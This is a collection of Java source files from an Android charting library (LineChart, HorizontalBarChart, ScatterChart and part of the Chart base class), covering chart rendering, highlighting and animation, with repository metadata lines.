* @author Philipp Jahoda
*/
public class LineChart extends BarLineChartBase<LineData> implements LineDataProvider {
public LineChart(Context context) {
super(context);
}
public LineChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public LineChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new LineChartRenderer(this, mAnimator, mViewPortHandler);
}
@Override
protected void calcMinMax() {
super.calcMinMax();
if (mXAxis.mAxisRange == 0 && mData.getYValCount() > 0)
mXAxis.mAxisRange = 1;
}
@Override
public LineData getLineData() {
return mData;
}
@Override
protected void onDetachedFromWindow() {
// releases the bitmap in the renderer to avoid oom error
if(mRenderer != null && mRenderer instanceof LineChartRenderer) {
((LineChartRenderer) mRenderer).releaseBitmap();
}
super.onDetachedFromWindow();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/LineChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 331 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.util.Log;
import com.github.mikephil.charting.components.XAxis.XAxisPosition;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.highlight.HorizontalBarHighlighter;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
import com.github.mikephil.charting.renderer.HorizontalBarChartRenderer;
import com.github.mikephil.charting.renderer.XAxisRendererHorizontalBarChart;
import com.github.mikephil.charting.renderer.YAxisRendererHorizontalBarChart;
import com.github.mikephil.charting.utils.TransformerHorizontalBarChart;
import com.github.mikephil.charting.utils.Utils;
/**
* BarChart with horizontal bar orientation. In this implementation, x- and y-axis are switched, meaning the YAxis class
* represents the horizontal values and the XAxis class represents the vertical values.
*
* @author Philipp Jahoda
*/
public class HorizontalBarChart extends BarChart {
public HorizontalBarChart(Context context) {
super(context);
}
public HorizontalBarChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public HorizontalBarChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mLeftAxisTransformer = new TransformerHorizontalBarChart(mViewPortHandler);
mRightAxisTransformer = new TransformerHorizontalBarChart(mViewPortHandler);
mRenderer = new HorizontalBarChartRenderer(this, mAnimator, mViewPortHandler);
setHighlighter(new HorizontalBarHighlighter(this));
mAxisRendererLeft = new YAxisRendererHorizontalBarChart(mViewPortHandler, mAxisLeft, mLeftAxisTransformer);
mAxisRendererRight = new YAxisRendererHorizontalBarChart(mViewPortHandler, mAxisRight, mRightAxisTransformer);
mXAxisRenderer = new XAxisRendererHorizontalBarChart(mViewPortHandler, mXAxis, mLeftAxisTransformer, this);
}
private RectF mOffsetsBuffer = new RectF();
@Override
public void calculateOffsets() {
float offsetLeft = 0f, offsetRight = 0f, offsetTop = 0f, offsetBottom = 0f;
calculateLegendOffsets(mOffsetsBuffer);
offsetLeft += mOffsetsBuffer.left;
offsetTop += mOffsetsBuffer.top;
offsetRight += mOffsetsBuffer.right;
offsetBottom += mOffsetsBuffer.bottom;
// offsets for y-labels
if (mAxisLeft.needsOffset()) {
offsetTop += mAxisLeft.getRequiredHeightSpace(mAxisRendererLeft.getPaintAxisLabels());
}
if (mAxisRight.needsOffset()) {
offsetBottom += mAxisRight.getRequiredHeightSpace(mAxisRendererRight.getPaintAxisLabels());
}
float xlabelwidth = mXAxis.mLabelRotatedWidth;
if (mXAxis.isEnabled()) {
// offsets for x-labels
if (mXAxis.getPosition() == XAxisPosition.BOTTOM) {
offsetLeft += xlabelwidth;
} else if (mXAxis.getPosition() == XAxisPosition.TOP) {
offsetRight += xlabelwidth;
} else if (mXAxis.getPosition() == XAxisPosition.BOTH_SIDED) {
offsetLeft += xlabelwidth;
offsetRight += xlabelwidth;
}
}
offsetTop += getExtraTopOffset();
offsetRight += getExtraRightOffset();
offsetBottom += getExtraBottomOffset();
offsetLeft += getExtraLeftOffset();
float minOffset = Utils.convertDpToPixel(mMinOffset);
mViewPortHandler.restrainViewPort(
Math.max(minOffset, offsetLeft),
Math.max(minOffset, offsetTop),
Math.max(minOffset, offsetRight),
Math.max(minOffset, offsetBottom));
if (mLogEnabled) {
Log.i(LOG_TAG, "offsetLeft: " + offsetLeft + ", offsetTop: " + offsetTop + ", offsetRight: " + offsetRight + ", offsetBottom: "
+ offsetBottom);
Log.i(LOG_TAG, "Content: " + mViewPortHandler.getContentRect().toString());
}
prepareOffsetMatrix();
prepareValuePxMatrix();
}
@Override
protected void prepareValuePxMatrix() {
mRightAxisTransformer.prepareMatrixValuePx(mAxisRight.mAxisMinimum, mAxisRight.mAxisRange, mXAxis.mAxisRange, mXAxis.mAxisMinimum);
mLeftAxisTransformer.prepareMatrixValuePx(mAxisLeft.mAxisMinimum, mAxisLeft.mAxisRange, mXAxis.mAxisRange, mXAxis.mAxisMinimum);
}
@Override
protected void calcModulus() {
float[] values = new float[9];
mViewPortHandler.getMatrixTouch().getValues(values);
mXAxis.mAxisLabelModulus =
(int) Math.ceil((mData.getXValCount() * mXAxis.mLabelRotatedHeight)
/ (mViewPortHandler.contentHeight() * values[Matrix.MSCALE_Y]));
if (mXAxis.mAxisLabelModulus < 1)
mXAxis.mAxisLabelModulus = 1;
}
@Override
public RectF getBarBounds(BarEntry e) {
IBarDataSet set = mData.getDataSetForEntry(e);
if (set == null)
return null;
float barspace = set.getBarSpace();
float y = e.getVal();
float x = e.getXIndex();
float spaceHalf = barspace / 2f;
float top = x - 0.5f + spaceHalf;
float bottom = x + 0.5f - spaceHalf;
float left = y >= 0 ? y : 0;
float right = y <= 0 ? y : 0;
RectF bounds = new RectF(left, top, right, bottom);
getTransformer(set.getAxisDependency()).rectValueToPixel(bounds);
return bounds;
}
@Override
public PointF getPosition(Entry e, AxisDependency axis) {
if (e == null)
return null;
float[] vals = new float[] { e.getVal(), e.getXIndex() };
getTransformer(axis).pointValuesToPixel(vals);
return new PointF(vals[0], vals[1]);
}
/**
* Returns the Highlight object (contains x-index and DataSet index) of the selected value at the given touch point
* inside the BarChart.
*
* @param x
* @param y
* @return
*/
@Override
public Highlight getHighlightByTouchPoint(float x, float y) {
if (mData == null) {
Log.e(LOG_TAG, "Can't select by touch. No data set.");
return null;
} else
return getHighlighter().getHighlight(y, x); // switch x and y
}
/**
* Returns the lowest x-index (value on the x-axis) that is still visible on the chart.
*
* @return
*/
@Override
public int getLowestVisibleXIndex() {
float step = mData.getDataSetCount();
float div = (step <= 1) ? 1 : step + mData.getGroupSpace();
float[] pts = new float[] { mViewPortHandler.contentLeft(), mViewPortHandler.contentBottom() };
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return (int) (((pts[1] <= 0) ? 0 : ((pts[1])) / div) + 1);
}
/**
* Returns the highest x-index (value on the x-axis) that is still visible on the chart.
*
* @return
*/
@Override
public int getHighestVisibleXIndex() {
float step = mData.getDataSetCount();
float div = (step <= 1) ? 1 : step + mData.getGroupSpace();
float[] pts = new float[] { mViewPortHandler.contentLeft(), mViewPortHandler.contentTop() };
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return (int) ((pts[1] >= getXChartMax()) ? getXChartMax() / div : (pts[1] / div));
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/HorizontalBarChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,824 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.util.AttributeSet;
import com.github.mikephil.charting.data.ScatterData;
import com.github.mikephil.charting.interfaces.dataprovider.ScatterDataProvider;
import com.github.mikephil.charting.renderer.ScatterChartRenderer;
/**
* The ScatterChart. Draws dots, triangles, squares and custom shapes into the
* Chart-View. CIRCLE and SCQUARE offer the best performance, TRIANGLE has the
* worst performance.
*
* @author Philipp Jahoda
*/
public class ScatterChart extends BarLineChartBase<ScatterData> implements ScatterDataProvider {
/**
* enum that defines the shape that is drawn where the values are
*/
public enum ScatterShape {
SQUARE, CIRCLE, TRIANGLE, CROSS, X,
}
public ScatterChart(Context context) {
super(context);
}
public ScatterChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public ScatterChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new ScatterChartRenderer(this, mAnimator, mViewPortHandler);
mXAxis.mAxisMinimum = -0.5f;
}
@Override
protected void calcMinMax() {
super.calcMinMax();
if (mXAxis.mAxisRange == 0 && mData.getYValCount() > 0)
mXAxis.mAxisRange = 1;
mXAxis.mAxisMaximum += 0.5f;
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
}
/**
* Returns all possible predefined ScatterShapes.
*
* @return
*/
public static ScatterShape[] getAllPossibleShapes() {
return new ScatterShape[] {
ScatterShape.SQUARE, ScatterShape.CIRCLE, ScatterShape.TRIANGLE, ScatterShape.CROSS
};
}
public ScatterData getScatterData() {
return mData;
};
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/ScatterChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 451 |
```java
package com.github.mikephil.charting.charts;
import android.animation.ValueAnimator;
import android.animation.ValueAnimator.AnimatorUpdateListener;
import android.annotation.SuppressLint;
import android.content.ContentValues;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Paint.Align;
import android.graphics.PointF;
import android.graphics.RectF;
import android.graphics.Typeface;
import android.graphics.drawable.Drawable;
import android.os.Environment;
import android.provider.MediaStore.Images;
import android.text.TextUtils;
import android.util.AttributeSet;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewParent;
import com.github.mikephil.charting.animation.ChartAnimator;
import com.github.mikephil.charting.animation.Easing;
import com.github.mikephil.charting.animation.EasingFunction;
import com.github.mikephil.charting.components.Legend;
import com.github.mikephil.charting.components.MarkerView;
import com.github.mikephil.charting.components.XAxis;
import com.github.mikephil.charting.data.ChartData;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.formatter.DefaultValueFormatter;
import com.github.mikephil.charting.formatter.ValueFormatter;
import com.github.mikephil.charting.highlight.ChartHighlighter;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.interfaces.dataprovider.ChartInterface;
import com.github.mikephil.charting.interfaces.datasets.IDataSet;
import com.github.mikephil.charting.listener.ChartTouchListener;
import com.github.mikephil.charting.listener.OnChartGestureListener;
import com.github.mikephil.charting.listener.OnChartValueSelectedListener;
import com.github.mikephil.charting.renderer.DataRenderer;
import com.github.mikephil.charting.renderer.LegendRenderer;
import com.github.mikephil.charting.utils.Utils;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.List;
/**
* Baseclass of all Chart-Views.
*
* @author Philipp Jahoda
*/
@SuppressLint("NewApi")
public abstract class Chart<T extends ChartData<? extends IDataSet<? extends Entry>>> extends
ViewGroup
implements ChartInterface {
public static final String LOG_TAG = "MPAndroidChart";
/**
* flag that indicates if logging is enabled or not
*/
protected boolean mLogEnabled = true;
private boolean hasHighlightlongTime = true;
/**
* object that holds all data that was originally set for the chart, before
* it was modified or any filtering algorithms had been applied
*/
protected T mData = null;
/**
* Flag that indicates if highlighting per tap (touch) is enabled
*/
protected boolean mHighLightPerTapEnabled = true;
/**
* If set to true, chart continues to scroll after touch up
*/
private boolean mDragDecelerationEnabled = true;
/**
* Deceleration friction coefficient in [0 ; 1] interval, higher values
* indicate that speed will decrease slowly, for example if it set to 0, it
* will stop immediately. 1 is an invalid value, and will be converted to
* 0.999f automatically.
*/
private float mDragDecelerationFrictionCoef = 0.9f;
/**
* default value-formatter, number of digits depends on provided chart-data
*/
protected ValueFormatter mDefaultFormatter;
/**
* paint object used for drawing the description text in the bottom right
* corner of the chart
*/
protected Paint mDescPaint;
/**
* paint object for drawing the information text when there are no values in
* the chart
*/
protected Paint mInfoPaint;
/**
* description text that appears in the bottom right corner of the chart
*/
protected String mDescription = "Description";
/**
* the object representing the labels on the x-axis
*/
protected XAxis mXAxis;
/**
* if true, touch gestures are enabled on the chart
*/
protected boolean mTouchEnabled = true;
/**
* the legend object containing all data associated with the legend
*/
protected Legend mLegend;
/**
* listener that is called when a value on the chart is selected
*/
protected OnChartValueSelectedListener mSelectionListener;
protected ChartTouchListener mChartTouchListener;
/**
* text that is displayed when the chart is empty
*/
private String mNoDataText = "No chart data available.";
/**
* Gesture listener for custom callbacks when making gestures on the chart.
*/
private OnChartGestureListener mGestureListener;
/**
* text that is displayed when the chart is empty that describes why the
* chart is empty
*/
private String mNoDataTextDescription;
protected LegendRenderer mLegendRenderer;
/**
* object responsible for rendering the data
*/
protected DataRenderer mRenderer;
protected ChartHighlighter mHighlighter;
/**
* object that manages the bounds and drawing constraints of the chart
*/
protected ViewPortHandler mViewPortHandler;
/**
* object responsible for animations
*/
protected ChartAnimator mAnimator;
/**
* Extra offsets to be appended to the viewport
*/
private float mExtraTopOffset = 0.f,
mExtraRightOffset = 0.f,
mExtraBottomOffset = 0.f,
mExtraLeftOffset = 0.f;
/**
* default constructor for initialization in code
*/
public Chart(Context context) {
super(context);
init();
}
/**
* constructor for initialization in xml
*/
public Chart(Context context, AttributeSet attrs) {
super(context, attrs);
init();
}
/**
* even more awesome constructor
*/
public Chart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init();
}
/**
* initialize all paints and stuff
*/
protected void init() {
setWillNotDraw(false);
// setLayerType(View.LAYER_TYPE_HARDWARE, null);
if (android.os.Build.VERSION.SDK_INT < 11)
mAnimator = new ChartAnimator();
else
mAnimator = new ChartAnimator(new AnimatorUpdateListener() {
@Override
public void onAnimationUpdate(ValueAnimator animation) {
// ViewCompat.postInvalidateOnAnimation(Chart.this);
postInvalidate();
}
});
// initialize the utils
Utils.init(getContext());
mDefaultFormatter = new DefaultValueFormatter(1);
mViewPortHandler = new ViewPortHandler();
mLegend = new Legend();
mLegendRenderer = new LegendRenderer(mViewPortHandler, mLegend);
mXAxis = new XAxis();
mDescPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
mDescPaint.setColor(Color.BLACK);
mDescPaint.setTextAlign(Align.RIGHT);
mDescPaint.setTextSize(Utils.convertDpToPixel(9f));
mInfoPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
mInfoPaint.setColor(Color.rgb(247, 189, 51)); // orange
mInfoPaint.setTextAlign(Align.CENTER);
mInfoPaint.setTextSize(Utils.convertDpToPixel(12f));
mDrawPaint = new Paint(Paint.DITHER_FLAG);
if (mLogEnabled)
Log.i("", "Chart.init()");
}
// public void initWithDummyData() {
// ColorTemplate template = new ColorTemplate();
// template.addColorsForDataSets(ColorTemplate.COLORFUL_COLORS,
// getContext());
//
// setColorTemplate(template);
// setDrawYValues(false);
//
// ArrayList<String> xVals = new ArrayList<String>();
// Calendar calendar = Calendar.getInstance();
// for (int i = 0; i < 12; i++) {
// xVals.add(calendar.getDisplayName(Calendar.MONTH, Calendar.SHORT,
// Locale.getDefault()));
// }
//
// ArrayList<DataSet> dataSets = new ArrayList<DataSet>();
// for (int i = 0; i < 3; i++) {
//
// ArrayList<Entry> yVals = new ArrayList<Entry>();
//
// for (int j = 0; j < 12; j++) {
// float val = (float) (Math.random() * 100);
// yVals.add(new Entry(val, j));
// }
//
// DataSet set = new DataSet(yVals, "DataSet " + i);
// dataSets.add(set); // add the datasets
// }
// // create a data object with the datasets
// ChartData data = new ChartData(xVals, dataSets);
// setData(data);
// invalidate();
// }
/**
* Sets a new data object for the chart. The data object contains all values
* and information needed for displaying.
*
* @param data
*/
public void setData(T data) {
if (data == null) {
Log.e(LOG_TAG,
"Cannot set data for chart. Provided data object is null.");
return;
}
// LET THE CHART KNOW THERE IS DATA
mOffsetsCalculated = false;
mData = data;
// calculate how many digits are needed
calculateFormatter(data.getYMin(), data.getYMax());
for (IDataSet set : mData.getDataSets()) {
if (Utils.needsDefaultFormatter(set.getValueFormatter()))
set.setValueFormatter(mDefaultFormatter);
}
// let the chart know there is new data
notifyDataSetChanged();
if (mLogEnabled)
Log.i(LOG_TAG, "Data is set.");
}
/**
* Clears the chart from all data (sets it to null) and refreshes it (by
* calling invalidate()).
*/
public void clear() {
mData = null;
mIndicesToHighlight = null;
invalidate();
}
/**
* Removes all DataSets (and thereby Entries) from the chart. Does not
* remove the x-values. Also refreshes the chart by calling invalidate().
*/
public void clearValues() {
mData.clearValues();
invalidate();
}
/**
* Returns true if the chart is empty (meaning it's data object is either
* null or contains no entries).
*
* @return
*/
public boolean isEmpty() {
if (mData == null)
return true;
else {
return mData.getYValCount() <= 0;
}
}
/**
* Lets the chart know its underlying data has changed and performs all
* necessary recalculations. It is crucial that this method is called
* everytime data is changed dynamically. Not calling this method can lead
* to crashes or unexpected behaviour.
*/
public abstract void notifyDataSetChanged();
/**
* calculates the offsets of the chart to the border depending on the
* position of an eventual legend or depending on the length of the y-axis
* and x-axis labels and their position
*/
protected abstract void calculateOffsets();
/**
* calcualtes the y-min and y-max value and the y-delta and x-delta value
*/
protected abstract void calcMinMax();
/**
* calculates the required number of digits for the values that might be
* drawn in the chart (if enabled), and creates the default-value-formatter
*/
protected void calculateFormatter(float min, float max) {
float reference;
if (mData == null || mData.getXValCount() < 2) {
reference = Math.max(Math.abs(min), Math.abs(max));
} else {
reference = Math.abs(max - min);
}
int digits = Utils.getDecimals(reference);
mDefaultFormatter = new DefaultValueFormatter(digits);
}
/**
* flag that indicates if offsets calculation has already been done or not
*/
private boolean mOffsetsCalculated = false;
/**
* paint object used for drawing the bitmap
*/
protected Paint mDrawPaint;
@Override
protected void onDraw(Canvas canvas) {
// super.onDraw(canvas);
if (mData == null) {
boolean hasText = !TextUtils.isEmpty(mNoDataText);
boolean hasDescription = !TextUtils.isEmpty(mNoDataTextDescription);
float line1height = hasText ? Utils.calcTextHeight(mInfoPaint, mNoDataText) : 0.f;
float line2height = hasDescription ? Utils.calcTextHeight(mInfoPaint, mNoDataTextDescription) : 0.f;
float lineSpacing = (hasText && hasDescription) ?
(mInfoPaint.getFontSpacing() - line1height) : 0.f;
// if no data, inform the user
float y = (getHeight() -
(line1height + lineSpacing + line2height)) / 2.f
+ line1height;
if (hasText) {
canvas.drawText(mNoDataText, getWidth() / 2, y, mInfoPaint);
if (hasDescription) {
y = y + line1height + lineSpacing;
}
}
if (hasDescription) {
canvas.drawText(mNoDataTextDescription, getWidth() / 2, y, mInfoPaint);
}
return;
}
if (!mOffsetsCalculated) {
calculateOffsets();
mOffsetsCalculated = true;
}
}
/**
* the custom position of the description text
*/
private PointF mDescriptionPosition;
/**
* draws the description text in the bottom right corner of the chart
*/
protected void drawDescription(Canvas c) {
if (!"".equals(mDescription)) {
if (mDescriptionPosition == null) {
c.drawText(mDescription, getWidth() - mViewPortHandler.offsetRight() - 10,
getHeight() - mViewPortHandler.offsetBottom()
- 10, mDescPaint);
} else {
c.drawText(mDescription, mDescriptionPosition.x, mDescriptionPosition.y, mDescPaint);
}
}
}
/**
* ################ ################ ################ ################
*/
/** BELOW THIS CODE FOR HIGHLIGHTING */
/**
* array of Highlight objects that reference the highlighted slices in the
* chart
*/
protected Highlight[] mIndicesToHighlight;
/**
* Returns the array of currently highlighted values. This might a null or
* empty array if nothing is highlighted.
*
* @return
*/
public Highlight[] getHighlighted() {
return mIndicesToHighlight;
}
/**
* Returns true if values can be highlighted via tap gesture, false if not.
*
* @return
*/
public boolean isHighlightPerTapEnabled() {
return mHighLightPerTapEnabled;
}
/**
* Set this to false to prevent values from being highlighted by tap gesture.
* Values can still be highlighted via drag or programmatically. Default: true
*
* @param enabled
*/
public void setHighlightPerTapEnabled(boolean enabled) {
mHighLightPerTapEnabled = enabled;
}
/**
* Returns true if there are values to highlight, false if there are no
* values to highlight. Checks if the highlight array is null, has a length
* of zero or if the first object is null.
*
* @return
*/
public boolean valuesToHighlight() {
return mIndicesToHighlight == null || mIndicesToHighlight.length <= 0
|| mIndicesToHighlight[0] == null ? false
: true;
}
/**
* Highlights the values at the given indices in the given DataSets. Provide
* null or an empty array to undo all highlighting. This should be used to
* programmatically highlight values. This DOES NOT generate a callback to
* the OnChartValueSelectedListener.
*
* @param highs
*/
public void highlightValues(Highlight[] highs) {
// set the indices to highlight
mIndicesToHighlight = highs;
if (highs == null || highs.length <= 0 || highs[0] == null) {
mChartTouchListener.setLastHighlighted(null);
} else {
mChartTouchListener.setLastHighlighted(highs[0]);
}
// redraw the chart
invalidate();
}
/**
* Highlights the value at the given x-index in the given DataSet. Provide
* -1 as the x-index or dataSetIndex to undo all highlighting.
*
* @param xIndex
* @param dataSetIndex
*/
public void highlightValue(int xIndex, int dataSetIndex) {
highlightValue(xIndex, dataSetIndex, true);
}
/**
* Highlights the value at the given x-index in the given DataSet. Provide
* -1 as the x-index or dataSetIndex to undo all highlighting.
*
* @param xIndex
* @param dataSetIndex
*/
public void highlightValue(int xIndex, int dataSetIndex, boolean callListener) {
if (xIndex < 0 || dataSetIndex < 0 || xIndex >= mData.getXValCount()
|| dataSetIndex >= mData.getDataSetCount()) {
highlightValue(null, callListener);
} else {
highlightValue(new Highlight(xIndex, dataSetIndex), callListener);
}
}
/**
* Highlights the values represented by the provided Highlight object
* This DOES NOT generate a callback to the OnChartValueSelectedListener.
*
* @param highlight contains information about which entry should be highlighted
*/
public void highlightValue(Highlight highlight) {
highlightValue(highlight, false);
}
/**
* Highlights the value selected by touch gesture. Unlike
* highlightValues(...), this generates a callback to the
* OnChartValueSelectedListener.
*
* @param high - the highlight object
* @param callListener - call the listener
*/
public void highlightValue(Highlight high, boolean callListener) {
Entry e = null;
if (high == null)
mIndicesToHighlight = null;
else {
if (mLogEnabled)
Log.i(LOG_TAG, "Highlighted: " + high.toString());
e = mData.getEntryForHighlight(high);
if (e == null) {
mIndicesToHighlight = null;
high = null;
} else {
if (this instanceof BarLineChartBase
&& ((BarLineChartBase)this).isHighlightFullBarEnabled())
high = new Highlight(high.getXIndex(), Float.NaN, -1, -1, -1);
// set the indices to highlight
mIndicesToHighlight = new Highlight[]{
high
};
}
}
if (callListener && mSelectionListener != null) {
if (!valuesToHighlight())
mSelectionListener.onNothingSelected();
else {
// notify the listener
mSelectionListener.onValueSelected(e, high.getDataSetIndex(), high);
}
}
// redraw the chart
invalidate();
}
/**
* @deprecated Kept for backward compatibility.
* Deprecated. Calls highlightValue(high, true)
*/
@Deprecated
public void highlightTouch(Highlight high) {
highlightValue(high, true);
}
/**
* Set a new (e.g. custom) ChartTouchListener NOTE: make sure to
* setTouchEnabled(true); if you need touch gestures on the chart
*
* @param l
*/
public void setOnTouchListener(ChartTouchListener l) {
this.mChartTouchListener = l;
}
/**
* ################ ################ ################ ################
*/
/** BELOW CODE IS FOR THE MARKER VIEW */
/**
* if set to true, the marker view is drawn when a value is clicked
*/
protected boolean mDrawMarkerViews = true;
/**
* the view that represents the marker
*/
protected MarkerView mMarkerView;
/**
* draws all MarkerViews on the highlighted positions
*/
protected void drawMarkers(Canvas canvas) {
// if there is no marker view or drawing marker is disabled
if (mMarkerView == null || !mDrawMarkerViews || !valuesToHighlight())
return;
for (int i = 0; i < mIndicesToHighlight.length; i++) {
Highlight highlight = mIndicesToHighlight[i];
int xIndex = highlight.getXIndex();
int dataSetIndex = highlight.getDataSetIndex();
float deltaX = mXAxis != null
? mXAxis.mAxisRange
: ((mData == null ? 0.f : mData.getXValCount()) - 1.f);
if (xIndex <= deltaX && xIndex <= deltaX * mAnimator.getPhaseX()) {
Entry e = mData.getEntryForHighlight(mIndicesToHighlight[i]);
// make sure entry not null
if (e == null || e.getXIndex() != mIndicesToHighlight[i].getXIndex())
continue;
float[] pos = getMarkerPosition(e, highlight);
// check bounds
if (!mViewPortHandler.isInBounds(pos[0], pos[1]))
continue;
// callbacks to update the content
mMarkerView.refreshContent(e, highlight);
// mMarkerView.measure(MeasureSpec.makeMeasureSpec(0,
// MeasureSpec.UNSPECIFIED),
// MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED));
// mMarkerView.layout(0, 0, mMarkerView.getMeasuredWidth(),
// mMarkerView.getMeasuredHeight());
// mMarkerView.draw(mDrawCanvas, pos[0], pos[1]);
mMarkerView.measure(MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED),
MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED));
mMarkerView.layout(0, 0, mMarkerView.getMeasuredWidth(),
mMarkerView.getMeasuredHeight());
if (pos[1] - mMarkerView.getHeight() <= 0) {
float y = mMarkerView.getHeight() - pos[1];
mMarkerView.draw(canvas, pos[0], pos[1] + y);
} else {
mMarkerView.draw(canvas, pos[0], pos[1]);
}
}
}
}
/**
* Returns the actual position in pixels of the MarkerView for the given
* Entry in the given DataSet.
*
* @param e
* @param highlight
* @return
*/
protected abstract float[] getMarkerPosition(Entry e, Highlight highlight);
/**
* ################ ################ ################ ################
* ANIMATIONS ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*/
/** CODE BELOW THIS RELATED TO ANIMATION */
/**
* Returns the animator responsible for animating chart values.
*
* @return
*/
public ChartAnimator getAnimator() {
return mAnimator;
}
/**
* If set to true, chart continues to scroll after touch up default: true
*/
public boolean isDragDecelerationEnabled() {
return mDragDecelerationEnabled;
}
/**
* If set to true, chart continues to scroll after touch up. Default: true.
*
* @param enabled
*/
public void setDragDecelerationEnabled(boolean enabled) {
mDragDecelerationEnabled = enabled;
}
/**
* Returns drag deceleration friction coefficient
*
* @return
*/
public float getDragDecelerationFrictionCoef() {
return mDragDecelerationFrictionCoef;
}
/**
* Deceleration friction coefficient in [0 ; 1] interval, higher values
* indicate that speed will decrease slowly, for example if it set to 0, it
* will stop immediately. 1 is an invalid value, and will be converted to
* 0.999f automatically.
*
* @param newValue
*/
public void setDragDecelerationFrictionCoef(float newValue) {
if (newValue < 0.f)
newValue = 0.f;
if (newValue >= 1f)
newValue = 0.999f;
mDragDecelerationFrictionCoef = newValue;
}
/**
* ################ ################ ################ ################
* ANIMATIONS ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*/
/** CODE BELOW FOR PROVIDING EASING FUNCTIONS */
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart. ANIMATIONS
* ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillisX
* @param durationMillisY
* @param easingX a custom easing function to be used on the animation phase
* @param easingY a custom easing function to be used on the animation phase
*/
public void animateXY(int durationMillisX, int durationMillisY, EasingFunction easingX,
EasingFunction easingY) {
mAnimator.animateXY(durationMillisX, durationMillisY, easingX, easingY);
}
/**
* Animates the rendering of the chart on the x-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
* @param easing a custom easing function to be used on the animation phase
*/
public void animateX(int durationMillis, EasingFunction easing) {
mAnimator.animateX(durationMillis, easing);
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
* @param easing a custom easing function to be used on the animation phase
*/
public void animateY(int durationMillis, EasingFunction easing) {
mAnimator.animateY(durationMillis, easing);
}
/**
* ################ ################ ################ ################
* ANIMATIONS ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*/
/** CODE BELOW FOR PREDEFINED EASING OPTIONS */
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart. ANIMATIONS
* ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillisX
* @param durationMillisY
* @param easingX a predefined easing option
* @param easingY a predefined easing option
*/
public void animateXY(int durationMillisX, int durationMillisY, Easing.EasingOption easingX,
Easing.EasingOption easingY) {
mAnimator.animateXY(durationMillisX, durationMillisY, easingX, easingY);
}
/**
* Animates the rendering of the chart on the x-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
* @param easing a predefined easing option
*/
public void animateX(int durationMillis, Easing.EasingOption easing) {
mAnimator.animateX(durationMillis, easing);
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
* @param easing a predefined easing option
*/
public void animateY(int durationMillis, Easing.EasingOption easing) {
mAnimator.animateY(durationMillis, easing);
}
/**
* ################ ################ ################ ################
* ANIMATIONS ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*/
/** CODE BELOW FOR ANIMATIONS WITHOUT EASING */
/**
* Animates the rendering of the chart on the x-axis with the specified
